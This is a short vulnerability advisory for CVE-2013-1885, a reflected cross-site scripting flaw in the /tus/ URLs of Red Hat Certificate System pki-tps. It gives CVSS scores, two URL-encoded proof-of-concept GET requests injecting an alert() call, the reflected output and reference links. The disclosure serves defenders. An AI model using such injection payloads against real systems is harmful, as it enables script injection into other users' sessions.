Red Hat Certificate System pki-tps XSS flaw

2014.01.26

Credit: Vincent Danen

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2013-1885

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

It was reported that Certificate System suffers from XSS flaws in the /tus/ and /tus/tus/ URLs, such as:

GET /tus/tus/%22%2b%61%6c%65%72%74%28%34%38%32%36%37%29%2b%22

or

GET /tus/%22%2b%61%6c%65%72%74%28%36%31%34%35%32%29%2b%22

which will in turn output something like:

<!--
&#65532;var uriBase = "/tus/"+alert(85384)+";
&#65532;var userid = "admin";

This was reported against Certificate System 8.1 and may also affect Dogtag 9 and 10.

References:

https://bugzilla.redhat.com/show_bug.cgi?id=923039

http://xforce.iss.net/xforce/xfdb/84477

http://rhn.redhat.com/errata/RHSA-2013-0856.html

http://osvdb.org/93627

http://osvdb.org/93626

See this note in RAW Version

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Red Hat Certificate System pki-tps XSS flaw

References:

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